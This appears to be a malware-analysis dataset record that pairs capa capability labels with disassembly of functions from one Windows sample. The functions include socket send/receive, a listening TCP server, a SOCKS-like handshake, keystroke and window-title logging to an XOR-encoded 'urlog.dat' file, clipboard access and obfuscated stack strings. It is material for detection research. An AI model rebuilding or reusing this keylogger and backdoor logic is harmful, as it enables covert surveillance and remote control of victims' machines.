joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408750
Capabilities:
Send data
Send data on socket

Disassembly:
sub esp, 0x120
push ebx
push ebp
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x31]
mov byte [esp + 0x30], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
xor esi, esi
push 0x478198
stosb byte es:[edi], al
mov dword [esp + 0x14], esi
call dword [0x478194]
mov ebp, dword [0x4784e0]
push str.LeaveCriticalSection
inc ebp
push str.KERNEL32.dll
mov dword [0x4784e0], ebp
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x478198
call eax
mov edi, dword [esp + 0x13c]
lea eax, [esp + 0x14]
push eax
push edi
mov dword [esp + 0x1c], esi
call fcn.00408560
add esp, 8
cmp eax, esi
je 0x408972
mov ebp, dword [esp + 0x134]
cmp eax, 1
je 0x4088b8
cmp eax, 2
je 0x4088b8
cmp eax, 3
je 0x4088b8
cmp eax, 4
jne 0x408931
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x144]
lea edx, [esp + 0x34]
sub ecx, eax
push edx
add eax, edi
push ecx
push eax
call fcn.004084b0
mov edx, dword [esp + 0x20]
lea eax, [esp + 0x40]
push edx
lea ecx, [ebp + 4]
push eax
push ecx
call fcn.00408e90
add esp, 0x1c
test eax, eax
je 0x408972
mov al, 0x54
mov cl, 0x20
mov byte [esp + 0x19], al
mov byte [esp + 0x1a], al
mov al, 0x30
mov byte [esp + 0x20], cl
mov byte [esp + 0x1f], al
mov byte [esp + 0x22], al
mov byte [esp + 0x23], al
mov byte [esp + 0x24], cl
mov cl, 0xd
mov al, 0xa
mov byte [esp + 0x27], cl
mov byte [esp + 0x28], al
mov byte [esp + 0x29], cl
mov byte [esp + 0x2a], al
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x18], 0x48
mov byte [esp + 0x1b], 0x50
mov byte [esp + 0x1c], 0x2f
mov byte [esp + 0x1d], 0x31
mov byte [esp + 0x1e], 0x2e
mov byte [esp + 0x21], 0x32
mov byte [esp + 0x25], 0x4f
mov byte [esp + 0x26], 0x4b
mov byte [esp + 0x2b], 0
repne scasb al, byte es:[edi]
mov eax, dword [ebp]
push esi
not ecx
lea edx, [esp + 0x1c]
push ecx
push edx
push eax
call dword [sym.imp.WS2_32.dll_send]
jmp 0x408931
mov ecx, dword [esp + 0x14]
mov esi, dword [esp + 0x140]
mov edx, dword [esp + 0x138]
push ecx
push esi
push edi
push edx
call fcn.00408690
mov ebx, eax
add esp, 0x10
test ebx, ebx
je 0x408972
lea eax, [esp + 0x10]
lea ecx, [esp + 0x30]
push eax
mov eax, dword [esp + 0x18]
sub esi, eax
push ecx
sub esi, 7
lea edx, [eax + edi + 7]
push esi
push edx
call fcn.004084b0
mov eax, dword [esp + 0x20]
lea ecx, [esp + 0x40]
lea esi, [ebp + 4]
push eax
push ecx
push esi
call fcn.00408e90
add esp, 0x1c
test eax, eax
je 0x408972
mov edx, dword [esp + 0x138]
mov eax, dword [esi]
push 0
push ebx
push edx
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x408972
cmp dword [ebp], 0
je 0x408972
mov eax, dword [ebp + 4]
test eax, eax
je 0x408972
lea ecx, [esp + 0x2c]
push ecx
push 0
push ebp
push 0x409a50
push 0
push 0
call dword [0x478190]
test eax, eax
je 0x408962
push 0xffffffffffffffff
push eax
call dword [0x47818c]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x120
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x120
ret
Function at 0x408980
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x204
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov al, byte [ebx]
mov byte [ebp - 2], 5
cmp al, 5
mov byte [ebp - 1], 0
je 0x4089a9
pop edi
pop esi
and eax, 0xff
pop ebx
mov esp, ebp
pop ebp
ret
mov al, byte [ebx + 2]
lea esi, [ebx + 2]
test al, al
je 0x4089c0
cmp al, 2
je 0x4089c0
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov edi, 0x4781e0
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push eax
neg ecx
sbb cl, cl
lea eax, [ebp - 2]
and ecx, 2
push 2
mov byte [ebp - 1], cl
mov ecx, dword [ebp + 8]
push eax
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x4089fa
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [ebp - 1], 2
jne 0x408b57
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [ebp - 0x104]
push eax
rep stosd dword es:[edi], eax
mov ecx, pe_nt_image_headers32
lea edi, [ebp - 0x204]
rep stosd dword es:[edi], eax
mov eax, dword [ebp + 8]
push 0x5000
push ebx
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x408b4e
test eax, eax
je 0x408b4e
cmp byte [ebx], 1
je 0x408a5d
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
mov al, byte [ebx + 1]
test al, al
je 0x408a86
and eax, 0xff
cmp eax, 0x100
jg 0x408a86
mov ecx, eax
lea edi, [ebp - 0x104]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
xor eax, eax
mov al, byte [ebx + 1]
add eax, ebx
movsx ecx, byte [eax + 2]
test ecx, ecx
je 0x408abf
cmp ecx, 0x100
jg 0x408abf
mov edx, ecx
lea esi, [eax + 3]
lea edi, [ebp - 0x204]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea esi, [ebp - 0x104]
mov eax, 0x4781e0
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x408aee
test cl, cl
je 0x408aea
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x408aee
add eax, 2
add esi, 2
test cl, cl
jne 0x408aca
xor eax, eax
jmp 0x408af3
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x408b34
lea esi, [ebp - 0x204]
mov eax, 0x4782e0
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x408b26
test cl, cl
je 0x408b22
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x408b26
add eax, 2
add esi, 2
test cl, cl
jne 0x408b02
xor eax, eax
jmp 0x408b2b
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x408b34
mov byte [ebx + 1], al
jmp 0x408b38
mov byte [ebx + 1], 0xff
mov eax, dword [ebp + 8]
push 0
push 2
push ebx
mov ecx, dword [eax]
push ecx
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
jne 0x408b57
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408b70
Capabilities:
Resolve dns

Disassembly:
sub esp, 0x18
push 0x477df8
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
mov dword [esp + 4], eax
je 0x408c24
push ebx
mov ebx, dword [esp + 0x20]
push ebp
push esi
push edi
mov dword [esp + 0x10], 0
mov ecx, dword [eax + 0xc]
mov edx, dword [esp + 0x10]
cmp dword [ecx + edx], 0
je 0x408c2c
xor edx, edx
mov byte [ebx], 0
cmp word [eax + 0xa], dx
jle 0x408c1a
test edx, edx
jle 0x408be4
mov edi, 0x4756b4
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x14]
mov ecx, ebp
and ecx, 3
inc edx
rep movsb byte es:[edi], byte [esi]
movsx ecx, word [eax + 0xa]
cmp edx, ecx
jl 0x408bb6
add dword [esp + 0x10], 4
jmp 0x408b9a
mov eax, dword [esp + 0x1c]
add esp, 0x18
ret
pop edi
pop esi
mov eax, ebx
pop ebp
pop ebx
add esp, 0x18
ret

Function at 0x408c40
Capabilities:
Resolve dns

Disassembly:
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x408c50
ret
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call dword [sym.imp.WS2_32.dll_inet_ntoa]
ret

Function at 0x408e90
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Set socket configuration

Disassembly:
sub esp, 0x10
mov ecx, dword [esp + 0x1c]
xor eax, eax
mov dword [esp], eax
push esi
mov dword [esp + 8], eax
push edi
mov dword [esp + 0x10], eax
push ecx
mov dword [esp + 0x18], eax
mov word [esp + 0xc], 2
call dword [sym.imp.WS2_32.dll_htons]
mov esi, dword [esp + 0x20]
mov edi, dword [sym.imp.WS2_32.dll_inet_addr]
push esi
mov word [esp + 0xe], ax
call edi
cmp eax, 0xffffffff
push esi
jne 0x408ee7
call fcn.00408c40
add esp, 4
test eax, eax
je 0x408f42
push esi
call fcn.00408c40
add esp, 4
push eax
call edi
push 6
push 1
push 2
mov dword [esp + 0x18], eax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, dword [esp + 0x1c]
cmp eax, 0xffffffff
mov dword [esi], eax
je 0x408f42
lea edx, [esp + 0x24]
push 4
push edx
push 0x1006
push 0xffff
push eax
mov dword [esp + 0x38], 0x258
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [esi]
lea eax, [esp + 8]
push 0x10
push eax
push ecx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x408f4a
mov edx, dword [esi]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
xor eax, eax
pop esi
add esp, 0x10
ret
pop edi
mov eax, 1
pop esi
add esp, 0x10
ret
Function at 0x408f60
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
mov ebx, dword [esp + 0x10]
push esi
mov esi, dword [esp + 0x10]
push edi
mov edi, dword [esp + 0x10]
push ebx
push esi
push edi
call fcn.00408980
add esp, 0xc
test eax, eax
je 0x409007
cmp eax, 4
jne 0x408fa8
mov eax, dword [esp + 0x20]
mov ecx, dword [esp + 0x1c]
push eax
push ecx
push 2
push ebx
push esi
call fcn.00408c60
add esp, 0x14
neg eax
sbb eax, eax
pop edi
pop esi
and eax, 4
pop ebx
ret
mov edx, dword [edi]
push 0
push 0x5000
push esi
push edx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x409007
test eax, eax
je 0x409007
cmp byte [esi], 5
jne 0x409007
mov cl, byte [esi + 3]
cmp cl, 1
je 0x408fd4
cmp cl, 3
jne 0x409007
mov edx, dword [esp + 0x20]
and ecx, 0xff
push edx
mov edx, dword [esp + 0x20]
push edx
push ecx
push eax
push esi
call fcn.00408c60
add esp, 0x14
test eax, eax
je 0x409007
mov al, byte [esi + 1]
cmp al, 1
je 0x408ffe
cmp al, 3
jne 0x409007
pop edi
pop esi
and eax, 0xff
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret

Function at 0x409010
Capabilities:
Create udp socket
Get local ipv4 addresses
Get socket information

Disassembly:
sub esp, 0x124
xor eax, eax
push esi
mov dword [esp + 8], eax
push 0x11
mov dword [esp + 0x10], eax
push 2
mov dword [esp + 0x18], eax
push 2
mov dword [esp + 0x20], eax
mov dword [esp + 0x10], 0x10
mov word [esp + 0x24], 2
mov dword [esp + 0x28], eax
mov word [esp + 0x26], ax
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40905e
xor eax, eax
pop esi
add esp, 0x124
ret
lea ecx, [esp + 0x18]
push 0x10
push ecx
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x40907b
xor eax, eax
pop esi
add esp, 0x124
ret
mov edx, dword [esp + 0x130]
lea eax, [esp + 4]
lea ecx, [esp + 8]
push eax
push ecx
push esi
mov dword [edx], esi
call dword [sym.imp.WS2_32.dll_getsockname]
lea edx, [esp + 0x28]
push edx
call fcn.00408b70
add esp, 4
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov ecx, dword [esp + 0x12c]
pop esi
mov dword [ecx + 4], eax
mov ax, word [esp + 6]
mov word [ecx + 8], ax
mov eax, 1
add esp, 0x124
ret
Function at 0x4093e0
Capabilities:
Create tcp socket
Initialize winsock library
Start tcp server

Disassembly:
sub esp, 0x1a4
lea eax, [esp + 0x14]
push edi
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x4094e5
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x4094e5
mov dx, word [0x4781b0]
xor ecx, ecx
mov dword [esp + 6], ecx
push edx
mov dword [esp + 0xe], ecx
mov word [esp + 8], 2
mov dword [esp + 0x12], ecx
mov word [esp + 0x16], cx
call dword [sym.imp.WS2_32.dll_htons]
mov word [esp + 6], ax
lea eax, [esp + 4]
push 0x10
push eax
push edi
mov dword [esp + 0x14], 0
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
je 0x4094e5
push ebx
push ebp
push esi
push 0x32
push edi
call dword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x409480
pop esi
pop ebp
pop ebx
xor eax, eax
pop edi
add esp, 0x1a4
ret
push str.CreateThread
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov ebx, dword [sym.imp.WS2_32.dll_accept]
mov ebp, eax
push 0
push 0
push edi
call ebx
push 8
mov esi, eax
call sub.MSVCRT.dll_malloc
add esp, 4
test eax, eax
je 0x40949f
lea ecx, [esp + 0x20]
mov dword [eax], esi
push ecx
push 0
push eax
push 0x4090d0
push 0
push 0
call ebp
test eax, eax
jne 0x4094dc
push 0x3e8
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x40949f
push eax
call dword [0x4781b8]
jmp 0x40949f
xor eax, eax
pop edi
add esp, 0x1a4
ret

Function at 0x4097a0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
push esi
mov esi, dword [esp + 0x18]
push edi
xor edi, edi
test esi, esi
jle 0x4097db
mov ebx, dword [esp + 0x24]
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x14]
push ebx
push ebp
push 0
lea ecx, [edi + eax]
push esi
push ecx
push edx
call dword [sym.imp.WS2_32.dll_sendto]
cmp eax, 0xffffffff
je 0x4097e2
sub esi, eax
add edi, eax
test esi, esi
jg 0x4097b6
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret
pop edi
pop esi
pop ebp
or eax, 0xffffffff
pop ebx
ret
Function at 0x40a640
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x114
push ebx
mov al, 0x6f
push ebp
push esi
mov byte [esp + 0xd], al
mov byte [esp + 0x11], al
push edi
lea eax, [esp + 0x20]
push 0x104
push eax
mov byte [esp + 0x18], 0x5c
mov byte [esp + 0x1a], 0x75
mov byte [esp + 0x1b], 0x72
mov byte [esp + 0x1c], 0x6c
mov byte [esp + 0x1e], 0x67
mov byte [esp + 0x1f], 0x2e
mov byte [esp + 0x20], 0x64
mov byte [esp + 0x21], 0x61
mov byte [esp + 0x22], 0x74
mov byte [esp + 0x23], 0
call dword [0x478614]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x20]
push ecx
push edx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push 0
push 0x80
push 4
push 0
push 2
lea eax, [esp + 0x34]
push 0x40000000
push eax
call dword [0x478610]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x24], 0
call dword [0x47860c]
cmp eax, 0x3200000
jae 0x40a6ea
push 2
push 0
push 0
push ebx
call dword [0x478608]
mov ebp, dword [esp + 0x128]
push ebp
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
mov esi, eax
push esi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
mov edi, eax
test esi, esi
jle 0x40a719
mov ecx, ebp
sub ecx, edi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec esi
jne 0x40a70d
lea eax, [esp + 0x1c]
push 0
push eax
push ebp
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
push edi
push ebx
call dword [0x478604]
push ebx
call dword [0x478600]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x114
ret

Function at 0x40a750
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x410
push ebx
push esi
push edi
push str.wsprintfA
push str.USER32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov ebx, eax
mov ecx, 0x100
xor eax, eax
mov edi, 0x478620
rep stosd dword es:[edi], eax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x400
push 0x478620
push eax
mov dword [0x478a20], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x1d]
mov byte [esp + 0x1c], 0
rep stosd dword es:[edi], eax
mov ecx, dword [0x47861c]
xor esi, esi
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x478a20]
cmp eax, ecx
je 0x40a85d
push 0x478620
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
test eax, eax
jle 0x40a851
lea ecx, [esp + 0xc]
push ecx
call dword [0x4785fc]
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x16]
mov ecx, dword [esp + 0x14]
and edx, 0xffff
and eax, 0xffff
push edx
mov edx, dword [esp + 0x16]
and ecx, 0xffff
push eax
mov eax, dword [esp + 0x16]
push ecx
mov ecx, dword [esp + 0x18]
and edx, 0xffff
and eax, 0xffff
push edx
and ecx, 0xffff
push eax
push ecx
push 0x478620
lea edx, [esp + 0x38]
push 0x475dbc
push edx
call ebx
lea eax, [esp + 0x40]
push eax
call fcn.0040a640
add esp, 0x28
mov ecx, 0x100
xor eax, eax
mov edi, 0x478620
rep stosd dword es:[edi], eax
mov esi, 1
mov ecx, dword [0x478a20]
mov dword [0x47861c], ecx
mov eax, esi
pop edi
pop esi
pop ebx
add esp, 0x410
ret
Function at 0x40ac70
Capabilities:
Contain obfuscated stackstrings
Encode data using xor

Disassembly:
sub esp, 0x118
push ebp
push edi
lea eax, [esp + 0x1c]
xor edi, edi
push 0x104
mov dword [esp + 0x18], ecx
push eax
mov dword [esp + 0x20], edi
call dword [0x478614]
lea ecx, [esp + 8]
lea edx, [esp + 0x1c]
mov al, 0x6f
push ecx
push edx
mov byte [esp + 0x10], 0x5c
mov byte [esp + 0x11], al
mov byte [esp + 0x12], 0x75
mov byte [esp + 0x13], 0x72
mov byte [esp + 0x14], 0x6c
mov byte [esp + 0x15], al
mov byte [esp + 0x16], 0x67
mov byte [esp + 0x17], 0x2e
mov byte [esp + 0x18], 0x64
mov byte [esp + 0x19], 0x61
mov byte [esp + 0x1a], 0x74
mov byte [esp + 0x1b], 0
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
push edi
push 0x80
push 3
push edi
push 1
lea eax, [esp + 0x30]
push accept
push eax
call dword [0x478610]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x40ad51
push esi
push edi
push ebp
call dword [0x47860c]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
add esp, 4
lea ecx, [esp + 0x1c]
mov esi, eax
push 0
push ecx
push edi
push esi
push ebp
call dword [0x4785e8]
xor eax, eax
test edi, edi
jbe 0x40ad3a
mov cl, byte [eax + esi]
xor cl, 0x62
mov byte [eax + esi], cl
inc eax
cmp eax, edi
jb 0x40ad2c
mov ecx, dword [esp + 0x18]
push edi
push esi
call fcn.0040ac10
push esi
mov edi, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop esi
push ebp
call dword [0x478600]
mov eax, edi
pop edi
pop ebp
add esp, 0x118
ret
Function at 0x40c550
Capabilities:
Log keystrokes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
mov eax, esi
xor edx, edx
mov ecx, 0x1c
div ecx
test edx, edx
jne 0x40c701
call fcn.0040fef0
mov eax, 0x24924925
mul esi
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 4
test esi, esi
jle 0x40c701
mov edx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [sym.imp.USER32.dll_mouse_event]
push edi
lea ebx, [edx + 8]
mov dword [esp + 0x18], esi
mov eax, dword [ebx - 4]
cmp eax, 0x200
jb 0x40c5cd
cmp eax, 0x208
ja 0x40c5cd
mov edi, dword [ebx + 4]
xor esi, esi
mov si, word [ebx + 4]
shr edi, 0x10
push edi
push esi
call dword [sym.imp.USER32.dll_SetCursorPos]
push edi
push esi
call dword [sym.imp.USER32.dll_WindowFromPoint]
push eax
call dword [sym.imp.USER32.dll_SetCapture]
mov eax, dword [ebx - 4]
cmp eax, 0x203
ja 0x40c67d
je 0x40c665
cmp eax, 0x105
ja 0x40c639
je 0x40c61b
sub eax, 0x100
je 0x40c5fd
dec eax
je 0x40c61b
sub eax, 3
jne case.0x40c687.521
mov eax, dword [ebx]
push 0
push 0
push 0
push eax
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
mov cl, byte [ebx]
push eax
push ecx
call dword [0x478a4c]
jmp case.0x40c687.521
mov edx, dword [ebx]
push 0
push 2
push 0
push edx
call dword [sym.imp.USER32.dll_MapVirtualKeyA]
push eax
mov al, byte [ebx]
push eax
call dword [0x478a4c]
jmp case.0x40c687.521
sub eax, 0x201
je 0x40c656
dec eax
jne case.0x40c687.521
push 0
push 0
push 0
push 0
push 4
jmp 0x40c6ea
push 0
push 0
push 0
push 0
push 2
jmp 0x40c6ea
push 0
push 0
push 0
push 0
push 6
call ebp
push 0
push 0
push 0
push 0
push 6
jmp 0x40c6ea
add eax, 0xfffffdfc
cmp eax, 6
ja case.0x40c687.521
jmp dword [eax*4 + 0x40c708]
push 0
push 0
push 0
push 0
push 8
jmp 0x40c6ea
push 0
push 0
push 0
push 0
push 0x10
jmp 0x40c6ea
push 0
push 0
push 0
push 0
push 0x18
call ebp
push 0
push 0
push 0
push 0
push 0x18
jmp 0x40c6ea
push 0
push 0
push 0
push 0
push 0x20
jmp 0x40c6ea
push 0
push 0
push 0
push 0
push pe_nt_image_headers32
jmp 0x40c6ea
mov ecx, dword [ebx]
push 0
shr ecx, 0x10
movsx edx, cx
push edx
push 0
push 0
push 0x800
call ebp
mov eax, dword [esp + 0x18]
add ebx, 0x1c
dec eax
mov dword [esp + 0x18], eax
jne 0x40c599
pop edi
pop ebp
pop ebx
pop esi
ret 8

Function at 0x40c760
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40c7c8
push ebx
push esi
call dword [sym.imp.USER32.dll_EmptyClipboard]
mov esi, dword [esp + 0x10]
push esi
push 0x2000
call dword [sym.imp.KERNEL32.DLL_GlobalAlloc]
mov ebx, eax
test ebx, ebx
je 0x40c7c0
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
mov ecx, esi
mov esi, dword [esp + 0x10]
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
push ebx
push 1
call dword [sym.imp.USER32.dll_SetClipboardData]
push ebx
call dword [sym.imp.KERNEL32.DLL_GlobalFree]
pop edi
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
pop ebx
ret 8
Function at 0x40c830
Capabilities:
Open clipboard
Read clipboard data

Disassembly:
sub esp, 8
push esi
mov dword [esp + 8], ecx
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x40c8c2
push 1
call dword [sym.imp.USER32.dll_GetClipboardData]
mov esi, eax
test esi, esi
mov dword [esp + 4], esi
jne 0x40c861
call dword [sym.imp.USER32.dll_CloseClipboard]
pop esi
add esp, 8
ret
push ebx
push ebp
push edi
push esi
call dword [0x478a48]
mov ebx, eax
push esi
inc ebx
call dword [sym.imp.KERNEL32.DLL_GlobalLock]
push ebx
mov esi, eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
lea ecx, [ebx - 1]
mov ebp, eax
mov eax, ecx
add esp, 4
lea edi, [ebp + 1]
mov byte [ebp], 0x77
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.KERNEL32.DLL_GlobalUnlock]
call dword [sym.imp.USER32.dll_CloseClipboard]
mov ecx, dword [esp + 0x14]
push ebx
push ebp
call fcn.0040b060
push ebp
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
add esp, 4
pop edi
pop ebp
pop ebx
pop esi
add esp, 8
ret
Function at 0x40d600
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x48
push ebx
push esi
push str.RegQueryValueExA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov cl, 0x45
mov esi, eax
mov eax, 4
mov byte [esp + 0x27], cl
mov byte [esp + 0x2a], cl
mov cl, 0x49
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov al, 0x41
mov bl, 0x44
mov byte [esp + 0x2e], cl
mov byte [esp + 0x31], cl
mov cl, 0x74
mov byte [esp + 0x21], al
mov byte [esp + 0x23], bl
mov byte [esp + 0x25], al
mov byte [esp + 0x29], bl
mov al, 0x5c
mov bl, 0x53
mov byte [esp + 0x38], cl
mov byte [esp + 0x3f], cl
mov cl, 0x72
mov byte [esp + 0x28], al
mov byte [esp + 0x2b], bl
mov byte [esp + 0x34], al
mov byte [esp + 0x35], bl
mov byte [esp + 0x3b], al
mov byte [esp + 0x4c], al
mov dl, 0x52
mov bl, 0x73
mov byte [esp + 0x40], cl
mov byte [esp + 0x44], cl
mov byte [esp + 0x4b], cl
lea eax, [esp + 8]
lea ecx, [esp + 0x20]
mov byte [esp + 0x22], dl
mov byte [esp + 0x26], dl
mov byte [esp + 0x2d], dl
mov byte [esp + 0x37], bl
mov byte [esp + 0x48], bl
mov byte [esp + 0x49], bl
push eax
mov dl, 0x65
xor ebx, ebx
push ecx
push reloc.WS2_32.dll_bind
mov byte [esp + 0x2c], 0x48
mov byte [esp + 0x30], 0x57
mov byte [esp + 0x38], 0x43
mov byte [esp + 0x3b], 0x50
mov byte [esp + 0x3c], 0x54
mov byte [esp + 0x3e], 0x4f
mov byte [esp + 0x3f], 0x4e
mov byte [esp + 0x42], 0x79
mov byte [esp + 0x45], dl
mov byte [esp + 0x46], 0x6d
mov byte [esp + 0x48], 0x43
mov byte [esp + 0x49], dl
mov byte [esp + 0x4a], 0x6e
mov byte [esp + 0x4d], 0x61
mov byte [esp + 0x4e], 0x6c
mov byte [esp + 0x4f], 0x50
mov byte [esp + 0x51], 0x6f
mov byte [esp + 0x52], 0x63
mov byte [esp + 0x53], dl
mov byte [esp + 0x56], 0x6f
mov byte [esp + 0x59], 0x30
mov byte [esp + 0x5a], bl
call dword [0x477d88]
mov byte [esp + 0x18], 0x7e
mov byte [esp + 0x19], 0x4d
mov byte [esp + 0x1a], 0x48
mov byte [esp + 0x1b], 0x7a
mov byte [esp + 0x1c], bl
lea edx, [esp + 0xc]
lea eax, [esp + 0x14]
push edx
lea ecx, [esp + 0x14]
push eax
mov eax, dword [esp + 0x10]
push ecx
lea edx, [esp + 0x24]
push ebx
push edx
push eax
call esi
mov ecx, dword [esp + 8]
push ecx
call dword [0x477d38]
mov eax, dword [esp + 0x14]
pop esi
pop ebx
add esp, 0x48
ret